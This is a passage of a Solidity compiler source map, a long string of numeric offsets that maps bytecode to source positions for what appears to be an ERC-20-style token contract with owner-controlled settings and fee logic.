13;12980:5;12973:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12893:100;:::o;12692:193::-;12794:4;12816:39;171:10;12839:7;12848:6;12816:8;:39::i;:::-;-1:-1:-1;12873:4:0;12692:193;;;;;:::o;27228:223::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;;;;;;;;;27347:9:::1;27342:102;27366:8;:15;27362:1;:19;27342:102;;;27428:4;27403:9;:22;27413:8;27422:1;27413:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;27403:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;27403:22:0;:29;;-1:-1:-1;;27403:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;27383:3;::::1;::::0;::::1;:::i;:::-;;;;27342:102;;;;27228:223:::0;;:::o;23426:323::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;23543:4:::1;23521:26;;:18;;;;;;;;;;;:26;;::::0;23499:162:::1;;;::::0;-1:-1:-1;;;23499:162:0;;8455:2:1;23499:162:0::1;::::0;::::1;8437:21:1::0;8494:2;8474:18;;;8467:30;8533:34;8513:18;;;8506:62;8604:34;8584:18;;;8577:62;-1:-1:-1;;;8655:19:1;;;8648:53;8718:19;;23499:162:0::1;8253:490:1::0;23499:162:0::1;23716:18;:25:::0;;;::::1;;-1:-1:-1::0;;;23716:25:0::1;-1:-1:-1::0;;;;23716:25:0;;::::1;::::0;;;::::1;::::0;;23426:323::o;25542:202::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;25684:52:::1;25705:6;25713:14;25729:6;25684:20;:52::i;26879:339::-:0;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;27011:22:0;::::1;;::::0;;;:12:::1;:22;::::0;;;;;:30;::::1;;:22;::::0;;::::1;:30;;::::0;26989:181:::1;;;::::0;-1:-1:-1;;;26989:181:0;;8950:2:1;26989:181:0::1;::::0;::::1;8932:21:1::0;8989:3;8969:18;;;8962:31;9029:34;9009:18;;;9002:62;9100:34;9080:18;;;9073:62;9172:34;9151:19;;;9144:63;-1:-1:-1;;;9223:19:1;;;9216:36;9269:19;;26989:181:0::1;8748:546:1::0;26989:181:0::1;-1:-1:-1::0;;;;;27181:22:0;;;::::1;;::::0;;;:12:::1;:22;::::0;;;;:29;;-1:-1:-1;;27181:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;26879:339::o;10711:1732::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;10782:14:::1;::::0;:19;10774:28:::1;;;::::0;::::1;;10813:16;::::0;;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;;10813:16:0::1;::::0;::::1;::::0;:5:::1;::::0;:16:::1;::::0;:5;:16:::1;:::i;:::-;-1:-1:-1::0;10840:18:0::1;::::0;;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;;10840:18:0::1;::::0;::::1;::::0;:7:::1;::::0;:18:::1;::::0;:7;:18:::1;:::i;:::-;-1:-1:-1::0;10881:2:0::1;10869:14:::0;;-1:-1:-1;;10869:14:0::1;::::0;::::1;::::0;;10918:13:::1;::::0;:2:::1;:13;:::i;:::-;10909:22;::::0;:6:::1;:22;:::i;:::-;10894:12;:37;;;;10942:15;10968:7;10942:34;;11049:13;11074:7;-1:-1:-1::0;;;;;11074:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11065:38:0::1;;11126:4;11146:7;-1:-1:-1::0;;;;;11146:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11065:106;::::0;-1:-1:-1;;;;;;11065:106:0::1;::::0;;;;;;-1:-1:-1;;;;;13545:15:1;;;11065:106:0::1;::::0;::::1;13527:34:1::0;13597:15;;13577:18;;;13570:43;13462:18;;11065:106:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11188:15;:25:::0;;-1:-1:-1;;;;;11188:25:0;;::::1;-1:-1:-1::0;;;;;;11188:25:0;;::::1;;::::0;;;11224:13:::1;:21:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;11049:122;-1:-1:-1;11289:3:0::1;11268:13;13319:12:::0;;;13231:108;11268:13:::1;:17;::::0;11284:1:::1;11268:17;:::i;:::-;11267:25;;;;:::i;:::-;11258:6;:34:::0;11360:4:::1;11344:13;13319:12:::0;;;13231:108;11344:13:::1;:20;;;;:::i;:::-;11343:26;::::0;11368:1:::1;11343:26;:::i;:::-;11317:23;:52:::0;11435:3:::1;11414:13;13319:12:::0;;;13231:108;11414:13:::1;:17;::::0;11430:1:::1;11414:17;:::i;:::-;11413:25;;;;:::i;:::-;11401:9;:37:::0;11498:3:::1;11477:13;13319:12:::0;;;13231:108;11477:13:::1;:17;::::0;11493:1:::1;11477:17;:::i;:::-;11476:25;;;;:::i;:::-;11466:7;:35:::0;11667:12:::1;::::0;11652:10:::1;11642:9;:21:::0;;;::::1;::::0;;;;;;:37;;:21;;:9;:37:::1;::::0;11667:12;;11642:37:::1;:::i;:::-;::::0;;;-1:-1:-1;;11709:12:0::1;11692:14;:29:::0;11744:10:::1;11734:21;::::0;;;:9:::1;:21;::::0;;;;;;;:28;;11758:4:::1;-1:-1:-1::0;;11734:28:0;;::::1;::::0;::::1;::::0;;;11773:12:::1;:24:::0;;;;;;:31;;;::::1;::::0;::::1;::::0;;11815:13:::1;:25:::0;;;;;;:32;;;::::1;::::0;::::1;::::0;;11858:15:::1;:27:::0;;;;;;:34;;;::::1;::::0;::::1;::::0;;11921:4:::1;11903:24:::0;;;;;;;;:31;;;::::1;::::0;::::1;::::0;;11955:16:::1;::::0;;-1:-1:-1;;;;;11734:28:0::1;11955:16:::0;;;::::1;::::0;::::1;11945:27:::0;;;;;:34;;;::::1;::::0;::::1;::::0;;12003:16;;;;::::1;::::0;::::1;11990:30:::0;;;;;;;;:37;;;::::1;::::0;::::1;::::0;;12052:16;;;;::::1;::::0;::::1;12038:31:::0;;;;;;;;:38;;;::::1;::::0;::::1;::::0;;12103:16;;::::1;::::0;::::1;12087:33:::0;;;;;;;;:40;;;::::1;::::0;::::1;::::0;;12148:16:::1;::::0;;;::::1;12138:27:::0;;;;;;;;:34;;;::::1;::::0;::::1;::::0;;12196:16;;;::::1;12183:30:::0;;;;;;;;:37;;;::::1;::::0;::::1;::::0;;12245:16;;;::::1;12231:31:::0;;;;;;;;:38;;;::::1;::::0;::::1;::::0;;12296:16;;::::1;12280:33:::0;;;;;;;:40;;;::::1;::::0;::::1;::::0;;10082:42:::1;12331:21:::0;;;;;;:28;;;;::::1;;::::0;;;12410:12:::1;::::0;12377:46;;3582:25:1;;;12377:46:0::1;::::0;3555:18:1;12377:46:0::1;;;;;;;;10763:1680;;10711:1732:::0;:::o;13532:575::-;13664:4;13681:36;13691:6;13699:9;13710:6;13681:9;:36::i;:::-;-1:-1:-1;;;;;13755:19:0;;;13728:24;13755:19;;;:11;:19;;;;;;;;171:10;13755:33;;;;;;;;;13837:6;;13755:33;;13837:6;13821:22;;:65;;;13880:6;13860:16;:26;;13821:65;13799:155;;;;-1:-1:-1;;;13799:155:0;;14178:2:1;13799:155:0;;;14160:21:1;14217:2;14197:18;;;14190:30;14256:34;14236:18;;;14229:62;-1:-1:-1;;;14307:18:1;;;14300:38;14355:19;;13799:155:0;13976:404:1;13799:155:0;13985:6;;-1:-1:-1;;;;;13985:6:0;171:10;13969:22;13965:45;;14003:4;13996:11;;;;;13965:45;14020:57;14029:6;171:10;14051:25;14070:6;14051:16;:25;:::i;:::-;14020:8;:57::i;:::-;14095:4;14088:11;;;13532:575;;;;;;:::o;25847:310::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25953:19:0;::::1;;::::0;;;:9:::1;:19;::::0;;;;;:27;::::1;;:19;::::0;;::::1;:27;;::::0;25931:181:::1;;;::::0;-1:-1:-1;;;25931:181:0;;14720:2:1;25931:181:0::1;::::0;::::1;14702:21:1::0;14759:3;14739:18;;;14732:31;14799:34;14779:18;;;14772:62;14870:34;14850:18;;;14843:62;14942:34;14921:19;;;14914:63;-1:-1:-1;;;14993:19:1;;;14986:39;15042:19;;25931:181:0::1;14518:549:1::0;25931:181:0::1;-1:-1:-1::0;;;;;26123:19:0;;;::::1;;::::0;;;:9:::1;:19;::::0;;;;:26;;-1:-1:-1;;26123:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25847:310::o;14115:298::-;171:10;14231:4;14325:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14325:34:0;;;;;;;;;;14231:4;;14253:130;;14303:7;;14325:47;;14362:10;;14325:47;:::i;27691:96::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;27758:13:::1;:21:::0;;-1:-1:-1;;27758:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;27691:96::o;29317:293::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;29419:16:::1;::::0;-1:-1:-1;;;;;29419:29:0;;::::1;:16:::0;::::1;:29:::0;29397:166:::1;;;;-1:-1:-1::0;;;29397:166:0::1;;;;;;;:::i;:::-;29574:16;:28:::0;;-1:-1:-1;;;;;;29574:28:0::1;-1:-1:-1::0;;;;;29574:28:0;;;::::1;::::0;;;::::1;::::0;;29317:293::o;7806:84::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;7863:6:::1;:19:::0;;-1:-1:-1;;;;;;7863:19:0::1;::::0;;7806:84::o;24143:398::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;24300:39:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;24290:7:::1;:49:::0;;;;;;;;;;;24328:10;24365:23:::1;24316:10:::0;24305;24365:23:::1;:::i;:::-;:35;;;;:::i;:::-;24350:12;:50:::0;24474:2:::1;24459:10:::0;24433:23:::1;24446:10:::0;24433;:23:::1;:::i;:::-;:36;;;;:::i;:::-;24432:44;;24411:122;;;::::0;-1:-1:-1;;;24411:122:0;;15770:2:1;24411:122:0::1;::::0;::::1;15752:21:1::0;15809:2;15789:18;;;15782:30;15848:31;15828:18;;;15821:59;15897:18;;24411:122:0::1;15568:353:1::0;24959:160:0;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;25014:13:::1;:20:::0;;-1:-1:-1;;;;25045:25:0;-1:-1:-1;;;25045:25:0;;;25099:12:::1;25081:15;:30:::0;24959:160::o;13001:114::-;13057:13;13100:7;13093:14;;;;;:::i;14421:447::-;171:10;14542:4;14591:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14591:34:0;;;;;;;;;;14658:35;;;;14636:122;;;;-1:-1:-1;;;14636:122:0;;16128:2:1;14636:122:0;;;16110:21:1;16167:2;16147:18;;;16140:30;16206:34;16186:18;;;16179:62;-1:-1:-1;;;16257:18:1;;;16250:35;16302:19;;14636:122:0;15926:401:1;14636:122:0;14769:67;171:10;14792:7;14801:34;14820:15;14801:16;:34;:::i;14769:67::-;-1:-1:-1;14856:4:0;;14421:447;-1:-1:-1;;;14421:447:0:o;14876:197::-;14981:4;15003:40;15013:10;15025:9;15036:6;15003:9;:40::i;29016:293::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;29118:16:::1;::::0;-1:-1:-1;;;;;29118:29:0;;::::1;:16;::::0;;::::1;;:29:::0;29096:166:::1;;;;-1:-1:-1::0;;;29096:166:0::1;;;;;;;:::i;:::-;29273:16;:28:::0;;-1:-1:-1;;;;;29273:28:0;;::::1;;;-1:-1:-1::0;;;;;;29273:28:0;;::::1;::::0;;;::::1;::::0;;29016:293::o;27795:1003::-;7723:6;;27888:13;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;27927:23:0;::::1;27919:65;;;::::0;-1:-1:-1;;;27919:65:0;;16534:2:1;27919:65:0::1;::::0;::::1;16516:21:1::0;16573:2;16553:18;;;16546:30;16612:31;16592:18;;;16585:59;16661:18;;27919:65:0::1;16332:353:1::0;27919:65:0::1;28017:15;::::0;-1:-1:-1;;;;;28017:37:0;;::::1;:15:::0;::::1;:37:::0;27995:200:::1;;;::::0;-1:-1:-1;;;27995:200:0;;16892:2:1;27995:200:0::1;::::0;::::1;16874:21:1::0;16931:3;16911:18;;;16904:31;16971:34;16951:18;;;16944:62;17042:34;17022:18;;;17015:62;17114:34;17093:19;;;17086:63;-1:-1:-1;;;17165:19:1;;;17158:48;17223:19;;27995:200:0::1;16690:558:1::0;27995:200:0::1;28206:15;28232:9;28206:36;;28272:7;-1:-1:-1::0;;;;;28272:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;28263:35:0::1;;28321:4;28341:7;-1:-1:-1::0;;;;;28341:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28263:103;::::0;-1:-1:-1;;;;;;28263:103:0::1;::::0;;;;;;-1:-1:-1;;;;;13545:15:1;;;28263:103:0::1;::::0;::::1;13527:34:1::0;13597:15;;13577:18;;;13570:43;13462:18;;28263:103:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28255:111:::0;-1:-1:-1;;;;;;28381:19:0;::::1;28377:222;;28478:7;-1:-1:-1::0;;;;;28478:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;28469:38:0::1;;28534:4;28558:7;-1:-1:-1::0;;;;;28558:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28469:118;::::0;-1:-1:-1;;;;;;28469:118:0::1;::::0;;;;;;-1:-1:-1;;;;;13545:15:1;;;28469:118:0::1;::::0;::::1;13527:34:1::0;13597:15;;13577:18;;;13570:43;13462:18;;28469:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28461:126;;28377:222;28671:13;:21:::0;;-1:-1:-1;;;;;28671:21:0;;::::1;-1:-1:-1::0;;;;;;28671:21:0;;::::1;;::::0;;;28765:15:::1;:25:::0;;;;;::::1;::::0;::::1;::::0;;;::::1;::::0;;28687:5;27795:1003;-1:-1:-1;27795:1003:0:o;24549:402::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;24708:39:::1;::::0;;::::1;::::0;::::1;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;24697:8:::1;:50:::0;;;;;;;;;;;24724:10;24774:23:::1;24736:10:::0;24713;24774:23:::1;:::i;:::-;:36;;;;:::i;:::-;24758:13;:52:::0;;;24869:10;24843:23:::1;24856:10:::0;24843;:23:::1;:::i;27459:224::-:0;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;27525:19:0::1;;::::0;;;:9:::1;:19;::::0;;;;;;;:26;;27547:4:::1;-1:-1:-1::0;;27525:26:0;;::::1;::::0;::::1;::::0;;;27562:12:::1;:22:::0;;;;;:29;;;::::1;::::0;::::1;::::0;;27602:13:::1;:23:::0;;;;;:30;;;::::1;::::0;::::1;::::0;;27643:15:::1;:25:::0;;;;;:32;;;;::::1;::::0;;::::1;::::0;;27459:224::o;22205:113::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;22282:28:::1;22291:18;22282:8;:28::i;:::-;22205:113:::0;:::o;25372:162::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;25486:40:::1;::::0;-1:-1:-1;;;;;25486:32:0;::::1;::::0;:40;::::1;;;::::0;25519:6;;25486:40:::1;::::0;;;25519:6;25486:32;:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;26527:344:::0;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26660:23:0;::::1;;::::0;;;:13:::1;:23;::::0;;;;;:31;::::1;;:23;::::0;;::::1;:31;;::::0;26638:184:::1;;;::::0;-1:-1:-1;;;26638:184:0;;17455:2:1;26638:184:0::1;::::0;::::1;17437:21:1::0;17494:3;17474:18;;;17467:31;17534:34;17514:18;;;17507:62;17605:34;17585:18;;;17578:62;17677:34;17656:19;;;17649:63;-1:-1:-1;;;17728:19:1;;;17721:38;17776:19;;26638:184:0::1;17253:548:1::0;26638:184:0::1;-1:-1:-1::0;;;;;26833:23:0;;;::::1;;::::0;;;:13:::1;:23;::::0;;;;:30;;-1:-1:-1;;26833:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;26527:344::o;7896:182::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7977:22:0;::::1;7969:73;;;::::0;-1:-1:-1;;;7969:73:0;;18008:2:1;7969:73:0::1;::::0;::::1;17990:21:1::0;18047:2;18027:18;;;18020:30;18086:34;18066:18;;;18059:62;-1:-1:-1;;;18137:18:1;;;18130:36;18183:19;;7969:73:0::1;17806:402:1::0;7969:73:0::1;8053:6;:17:::0;;-1:-1:-1;;;;;;8053:17:0::1;-1:-1:-1::0;;;;;8053:17:0;;;::::1;::::0;;;::::1;::::0;;7896:182::o;25752:87::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;25818:6:::1;:13:::0;;;::::1;;-1:-1:-1::0;;;25818:13:0::1;-1:-1:-1::0;;;;25818:13:0;;::::1;::::0;;;::::1;::::0;;25752:87::o;23757:378::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;13206:9;;;;23935:14:::1;::::0;:2:::1;:14;:::i;:::-;23922:27;::::0;:10;:27:::1;:::i;:::-;23895:23;;:54:::0;23873:190:::1;;;::::0;-1:-1:-1;;;23873:190:0;;18415:2:1;23873:190:0::1;::::0;::::1;18397:21:1::0;18454:2;18434:18;;;18427:30;18493:34;18473:18;;;18466:62;18564:34;18544:18;;;18537:62;-1:-1:-1;;;18615:19:1;;;18608:53;18678:19;;23873:190:0::1;18213:490:1::0;23873:190:0::1;13206:9:::0;;;;24113:14:::1;::::0;:2:::1;:14;:::i;:::-;24100:27;::::0;:10;:27:::1;:::i;:::-;24074:23;:53:::0;-1:-1:-1;23757:378:0:o;26165:354::-;7723:6;;-1:-1:-1;;;;;7723:6:0;7733:10;7723:20;7715:65;;;;-1:-1:-1;;;7715:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26300:25:0;::::1;;::::0;;;:15:::1;:25;::::0;;;;;:33;::::1;;:25;::::0;;::::1;:33;;::::0;26278:190:::1;;;::::0;-1:-1:-1;;;26278:190:0;;18910:2:1;26278:190:0::1;::::0;::::1;18892:21:1::0;18949:3;18929:18;;;18922:31;18989:34;18969:18;;;18962:62;19060:34;19040:18;;;19033:62;19132:34;19111:19;;;19104:63;-1:-1:-1;;;19183:19:1;;;19176:42;19235:19;;26278:190:0::1;18708:552:1::0;26278:190:0::1;-1:-1:-1::0;;;;;26479:25:0;;;::::1;;::::0;;;:15:::1;:25;::::0;;;;:32;;-1:-1:-1;;26479:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;26165:354::o;6697:380::-;-1:-1:-1;;;;;6833:19:0;;6825:68;;;;-1:-1:-1;;;6825:68:0;;19467:2:1;6825:68:0;;;19449:21:1;19506:2;19486:18;;;19479:30;19545:34;19525:18;;;19518:62;-1:-1:-1;;;19596:18:1;;;19589:34;19640:19;;6825:68:0;19265:400:1;6825:68:0;-1:-1:-1;;;;;6912:21:0;;6904:68;;;;-1:-1:-1;;;6904:68:0;;19872:2:1;6904:68:0;;;19854:21:1;19911:2;19891:18;;;19884:30;19950:34;19930:18;;;19923:62;-1:-1:-1;;;20001:18:1;;;19994:32;20043:19;;6904:68:0;19670:398:1;6904:68:0;-1:-1:-1;;;;;6985:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7037:32;;3582:25:1;;;7037:32:0;;3555:18:1;7037:32:0;3436:177:1;25127:237:0;25272:34;;-1:-1:-1;;;25272:34:0;;-1:-1:-1;;;;;20265:32:1;;;25272:34:0;;;20247:51:1;20314:18;;;20307:34;;;25260:9:0;;25272:15;;;;;;20220:18:1;;25272:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25260:46;;25325:4;25317:39;;;;-1:-1:-1;;;25317:39:0;;20804:2:1;25317:39:0;;;20786:21:1;20843:2;20823:18;;;20816:30;-1:-1:-1;;;20862:18:1;;;20855:52;20924:18;;25317:39:0;20602:346:1;25317:39:0;25249:115;25127:237;;;:::o;15081:2997::-;15231:1;15222:6;:10;15214:64;;;;-1:-1:-1;;;15214:64:0;;21155:2:1;15214:64:0;;;21137:21:1;21194:2;21174:18;;;21167:30;21233:34;21213:18;;;21206:62;-1:-1:-1;;;21284:18:1;;;21277:39;21333:19;;15214:64:0;20953:405:1;15214:64:0;15292:6;;-1:-1:-1;;;15292:6:0;;;;15289:972;;;-1:-1:-1;;;;;15315:17:0;;;;;;:9;:17;;;;;;;;15314:18;:43;;;;-1:-1:-1;;;;;;15337:20:0;;;;;;:9;:20;;;;;;;;15336:21;15314:43;15310:124;;;15382:13;;-1:-1:-1;;;15382:13:0;;;;15374:48;;;;-1:-1:-1;;;15374:48:0;;21565:2:1;15374:48:0;;;21547:21:1;21604:2;21584:18;;;21577:30;-1:-1:-1;;;21623:18:1;;;21616:52;21685:18;;15374:48:0;21363:346:1;15374:48:0;15474:13;;-1:-1:-1;;;;;15464:23:0;;;15474:13;;15464:23;:61;;;;-1:-1:-1;;;;;;15505:20:0;;;;;;:9;:20;;;;;;;;15504:21;15464:61;:93;;;;-1:-1:-1;15543:14:0;;-1:-1:-1;;;15543:14:0;;;;15542:15;15464:93;:134;;;;-1:-1:-1;;;;;;15575:23:0;;;;;;:12;:23;;;;;;;;15574:24;15464:134;15446:244;;;15643:6;;15633;:16;;15625:53;;;;-1:-1:-1;;;15625:53:0;;21916:2:1;15625:53:0;;;21898:21:1;21955:2;21935:18;;;21928:30;21994:26;21974:18;;;21967:54;22038:18;;15625:53:0;21714:348:1;15625:53:0;15731:13;;-1:-1:-1;;;;;15718:26:0;;;15731:13;;15718:26;;;;:70;;-1:-1:-1;;;;;;15762:26:0;;;;;;:15;:26;;;;;;;;15761:27;15718:70;15700:259;;;15875:9;;15865:6;15842:20;15852:9;-1:-1:-1;;;;;13498:18:0;13466:7;13498:18;;;;;;;;;;;;13347:177;15842:20;:29;;;;:::i;:::-;:42;;15816:131;;;;-1:-1:-1;;;15816:131:0;;22269:2:1;15816:131:0;;;22251:21:1;22308:2;22288:18;;;22281:30;22347:29;22327:18;;;22320:57;22394:18;;15816:131:0;22067:351:1;15816:131:0;15999:13;;-1:-1:-1;;;;;15989:23:0;;;15999:13;;15989:23;;;;:61;;-1:-1:-1;;;;;;16030:20:0;;;;;;:9;:20;;;;;;;;16029:21;15989:61;:96;;;;-1:-1:-1;;;;;;16068:17:0;;;;;;:9;:17;;;;;;;;16067:18;15989:96;:128;;;;-1:-1:-1;16103:14:0;;-1:-1:-1;;;16103:14:0;;;;16102:15;15989:128;:167;;;;-1:-1:-1;;;;;;16135:21:0;;;;;;:13;:21;;;;;;;;16134:22;15989:167;15971:279;;;16201:7;;16191:6;:17;;16183:55;;;;-1:-1:-1;;;16183:55:0;;22625:2:1;16183:55:0;;;22607:21:1;22664:2;22644:18;;;22637:30;22703:27;22683:18;;;22676:55;22748:18;;16183:55:0;22423:349:1;16183:55:0;16271:16;16298:17;16326;16356;16388:1;16376:9;;:13;:48;;;;-1:-1:-1;;;;;;16407:17:0;;;;;;:9;:17;;;;;;;;16406:18;16376:48;:86;;;;-1:-1:-1;;;;;;16442:20:0;;;;;;:9;:20;;;;;;;;16441:21;16376:86;:144;;;;;16512:8;;16494:15;;:26;;;;:::i;:::-;16479:12;:41;16376:144;16629:14;;16356:164;;-1:-1:-1;;;;16629:14:0;;;;;:48;;-1:-1:-1;;;;;;16660:17:0;;;;;;:9;:17;;;;;;;;16629:48;:85;;;-1:-1:-1;;;;;;16694:20:0;;;;;;:9;:20;;;;;;;;16629:85;:157;;;-1:-1:-1;16742:13:0;;-1:-1:-1;;;;;16732:23:0;;;16742:13;;16732:23;;;;:53;;-1:-1:-1;16772:13:0;;-1:-1:-1;;;;;16759:26:0;;;16772:13;;16759:26;;16732:53;16611:657;;;16823:1;16811:13;;16611:657;;;16889:13;;-1:-1:-1;;;;;16876:26:0;;;16889:13;;16876:26;:43;;;;;16907:12;16906:13;16876:43;16872:396;;;16989:18;;:8;16968:18;16947;;:39;;16968:18;16947:39;:::i;:::-;:60;;;;:::i;:::-;16936:71;;17035:1;17023:13;;16872:396;;;17059:12;17054:214;;17139:17;;:7;17119:17;17099;;:37;;17119:17;17099:37;:::i;:::-;:57;;;;:::i;:::-;17088:68;;17184:1;17172:13;;17054:214;;;17207:12;17203:65;;;17247:9;;17236:20;;17203:65;17312:3;17291:17;17300:8;17291:6;:17;:::i;:::-;17290:25;;;;:::i;:::-;17278:37;;17332:9;17345:1;17332:14;17328:161;;17384:9;17363:17;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;17328:161:0;;-1:-1:-1;17328:161:0;;17415:9;17428:1;17415:14;17411:78;;17468:9;17446:18;;:31;;;;;;;:::i;:::-;;;;-1:-1:-1;;17411:78:0;17602:13;;17598:95;;17632:49;17648:6;17664:4;17671:9;17632:15;:49::i;:::-;17723:18;;-1:-1:-1;;;17723:18:0;;;;:58;;;;-1:-1:-1;17768:13:0;;-1:-1:-1;;;;;17758:23:0;;;17768:13;;17758:23;;17723:58;:88;;;;;17810:1;17798:9;:13;17723:88;:118;;;;-1:-1:-1;17828:13:0;;;;17723:118;:186;;;;-1:-1:-1;17886:23:0;;17876:4;13466:7;13498:18;;;;;;;;;;;17858:51;;17723:186;17705:270;;;17936:27;17945:17;;17936:8;:27::i;:::-;18016:54;18032:6;18040:9;18051:18;18060:9;18051:6;:18;:::i;:::-;18016:15;:54::i;:::-;15203:2875;;;;15081:2997;;;:::o;18086:4111::-;12556:14;;-1:-1:-1;;;12556:14:0;;;;12551:122;;12587:14;:21;;-1:-1:-1;;;;12587:21:0;-1:-1:-1;;;12587:21:0;;;18209:4:::1;-1:-1:-1::0;13498:18:0;;;;;;;;;;;18226:17:::1;:38:::0;;;18165:50;-1:-1:-1;18296:35:0::1;18246:18:::0;18165:50;18296:35:::1;:::i;:::-;18275:18;:56;;;;18342:29;18382:30:::0;18423:21:::1;18455:20:::0;18492:12:::1;;18508:1;18492:17:::0;18488:220:::1;;18550:1;18526:25;;18488:220;;;18684:12;::::0;18646:17;;18626::::1;::::0;:37:::1;::::0;18646:17;18626:37:::1;:::i;:::-;18625:71;;;;:::i;:::-;18584:112;;18488:220;18722:13;;18739:1;18722:18:::0;18718:226:::1;;18782:1;18757:26;;18718:226;;;18919:13;::::0;18880:18;;18859::::1;::::0;:39:::1;::::0;18880:18;18859:39:::1;:::i;:::-;18858:74;;;;:::i;:::-;18816:116;;18718:226;18954:31;18988:59;19025:22:::0;18988:21;:59:::1;:::i;:::-;18954:93:::0;-1:-1:-1;19060